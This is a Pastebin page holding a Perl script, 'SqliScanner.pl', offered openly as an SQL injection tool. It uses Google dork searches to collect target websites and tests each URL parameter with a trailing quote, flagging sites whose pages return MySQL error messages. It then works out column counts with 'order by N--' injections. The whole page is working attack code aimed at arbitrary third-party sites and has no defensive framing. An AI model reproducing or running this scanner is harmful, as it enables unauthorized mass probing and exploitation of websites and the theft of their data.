bonekcok21

SqliScanner.pl

Jul 31st, 2016
343
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 4.85 KB | None | 0 0
  1. PHP Code:
  2. #!/usr/bin/perl -w
  3.  
  4. use strict;
  5. use LWP::UserAgent;
  6. use Google::Search;
  7. use utf8;
  8. use Getopt::Long;
  9.  
  10. use constant DEBUG => 1;
  11.  
  12. my $__Version__ = 1.0;
  13.  
  14.  
  15. ############ Globals #################
  16. $| = 1;
  17.  
  18. my ($ua, $url);
  19. my ($scheme, $host, $path, $query, $fragment) = ('', '', '', '', ''); #URL parts
  20. my (@vars, @vals); # The splited query
  21.  
  22.  
  23. my $sqlError = "((?=.*sql)(?=.*syntax))|".
  24. "((?=.*sql)(?=.*error)) |".
  25. "(mysql)";
  26. my $fieldError = "Unknown column|SQL";
  27.  
  28.  
  29. ############### Basic functions #################
  30. sub createLWP
  31. {
  32. $ua = LWP::UserAgent->new;
  33. $ua->agent('Linux Mozilla');
  34. }
  35.  
  36. sub parseUrl
  37. {
  38. ($scheme, $host, $path, $query, $fragment) =
  39. $url =~ m|^(?[^:/?#]+)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|;
  40.  
  41. return if(not defined $query or $query eq ''); # If there is no query
  42.  
  43. @vars = ();
  44. @vals = ();
  45.  
  46. foreach my $pair (split /&/, $query)
  47. {
  48. my ($var,$value) = split /=/, $pair;
  49.  
  50. push @vars, $var;
  51. push @vals, $value;
  52. }
  53. }
  54.  
  55. sub fetchHTML
  56. {
  57. my $pageURL = shift;
  58. my $res;
  59.  
  60. $res = $ua->get($pageURL);
  61.  
  62. #print $res->status_line," " unless ($res->is_success);
  63.  
  64. return $res->content; # The HTML
  65.  
  66. }
  67. ############# Basic sqli functions #########################
  68. sub checkVuln
  69. {
  70. my $checkURL;
  71. my $html;
  72.  
  73. return "no" if(not defined $query or $query eq '');
  74.  
  75. # Check if already contains the sql string
  76. $checkURL = $scheme."://".$host.$path;
  77. $html = fetchHTML($checkURL);
  78.  
  79. if($html =~ m/$sqlError/i)
  80. {
  81. return "Contains the SQL string by default.";
  82. }
  83.  
  84. for(my $i=0; $i<@vars; ++$i)
  85. {
  86. $checkURL = $scheme."://".$host.$path."?";
  87.  
  88. for(my $j=0;$j<@vars;++$j)
  89. {
  90. if($j==$i)
  91. {
  92. $checkURL .= $vars[$j]."=1'";
  93. }
  94. else
  95. {
  96. $checkURL .= $vars[$j]."=".$vals[$j];
  97. }
  98.  
  99. $checkURL .= "&" if($j<@vals-1);
  100. }
  101.  
  102. $html = fetchHTML($checkURL);
  103.  
  104. if($html =~ m/Microsoft/i)
  105. {
  106. return "MSSQL (only MYSQL supported)";
  107. }
  108. if($html =~ m/$sqlError/i)
  109. {
  110. return "yes";
  111. }
  112. }
  113.  
  114. return "no";
  115. }
  116.  
  117. sub getNumOfFields
  118. {
  119. my $maxNum = shift;
  120.  
  121. my $checkURL = $url;
  122.  
  123. my ($lastVar, $lastVal) = ($vars[$#vars], $vals[$#vals]);
  124. $checkURL =~ s/$lastVar=$lastVal/$lastVar=1 order by /;
  125.  
  126. my $i;
  127. for($i=1; $i<=$maxNum; $i+=10)
  128. {
  129. my $html = fetchHTML($checkURL.$i."--");
  130.  
  131. if($html =~ m/$fieldError/i)
  132. {
  133. last;
  134. }
  135. }
  136.  
  137. for($i=$i; $i>0; --$i)
  138. {
  139. my $html = fetchHTML($checkURL.$i."--");
  140.  
  141. if($html !~ m/$fieldError/i)
  142. {
  143. return $i;
  144. }
  145. }
  146.  
  147. return 0;
  148. }
  149.  
  150. ########### Full sqli proccess ########################
  151.  
  152. sub fullCrack
  153. {
  154. print "Determining site vulnerability... ";
  155.  
  156. my $vuln = checkVuln;
  157.  
  158. print "[".$vuln."]\n";
  159.  
  160. return if($vuln ne 'yes');
  161.  
  162. print "Enter the max number of fields: ";
  163. my $maxFields = <STDIN>;
  164. chomp $maxFields;
  165.  
  166. print "Determining number of fields... ";
  167.  
  168. my $numOfFields = getNumOfFields($maxFields);
  169.  
  170. if($numOfFields == 0)
  171. {
  172. print "failed!\nTry a bigger number or I just can't get it.\n";
  173. }
  174. else
  175. {
  176. print "[".$numOfFields."]\n";
  177. }
  178. }
  179.  
  180. ################ Print functions ############
  181.  
  182. sub printBar
  183. {
  184. print "*====================================*\n";
  185. print "|SQL injection scanner made by Skielf|\n";
  186. print "*====================================*\n";
  187. }
  188. sub printMenu
  189. {
  190. print "--------------\n";
  191. print "1: Scan sites\n";
  192. print "2: Scan specific url\n";
  193. print "3: Manual\n";
  194. print "4: exit\n";
  195. print "Command: ";
  196. }
  197.  
  198. ################## Functions from menu #################
  199.  
  200. sub manual
  201. {
  202. print "-------\n";
  203. print "|Manual|\n";
  204. print "-------\n";
  205. print "General things:\n";
  206. print "The script supports Mysql databases only.\n";
  207. print "Scan sites:\n";
  208. print "\tAsks for a dork, and number of results,\n";
  209. print "\tand searchs in google for valnurable sites\n\t(Tests every parameter)\n";
  210. print "Scan specific url:\n";
  211. print "\tDo a valnurability scan to the url and more.\n";
  212. print "\t(Uses only the last GET parameter)\n";
  213. }
  214. sub scanSpecific
  215. {
  216. print "URL: ";
  217.  
  218. $url = <STDIN>;
  219. chomp $url;
  220.  
  221. if($url !~ /(?=.*http)(?=.*www)/)
  222. {
  223. print "Url must be absolute\n";
  224. }
  225. else
  226. {
  227. parseUrl;
  228. fullCrack;
  229. }
  230. }
  231.  
  232. sub scanSites
  233. {
  234. my $dork;
  235. my $maxPage = 10;
  236.  
  237. print "Dork: ";
  238.  
  239. $dork = <STDIN>;
  240. chomp $dork;
  241.  
  242. print "Maximum result: ";
  243. $maxPage = <STDIN>;
  244. chomp $maxPage;
  245.  
  246. my $search = Google::Search->Web( query => "inurl:".$dork );
  247.  
  248. my $i=0;
  249. while ( my $result = $search->next and $i<$maxPage)
  250. {
  251. if($result->uri ne '')
  252. {
  253. $url = $result->uri->as_string;
  254. print $url."...\t";
  255.  
  256. parseUrl;
  257.  
  258. print "[".checkVuln."]\n";
  259. }
  260. ++$i;
  261. }
  262. print $search->error->reason, "\n" if $search->error;
  263. }
  264.  
  265. ########################################
  266.  
  267.  
  268. # The main function
  269. sub main
  270. {
  271. printBar;
  272.  
  273. createLWP;
  274.  
  275. my $exit = 0;
  276. while(not $exit)
  277. {
  278. printMenu;
  279.  
  280. my $cmd = <STDIN>;
  281. chomp $cmd;
  282.  
  283. if($cmd =~ /1/)
  284. {
  285. scanSites;
  286. }
  287. elsif($cmd =~ /2/)
  288. {
  289. scanSpecific;
  290. }
  291. elsif($cmd =~ /3/)
  292. {
  293. manual;
  294. }
  295. elsif($cmd =~ /4/)
  296. {
  297. $exit = 1;
  298. }
  299. }
  300.  
  301. print "Bye!\n";
  302. }
  303.  
  304. # Call the main function
  305. main;
Advertisement
Add Comment
Please, Sign In to add comment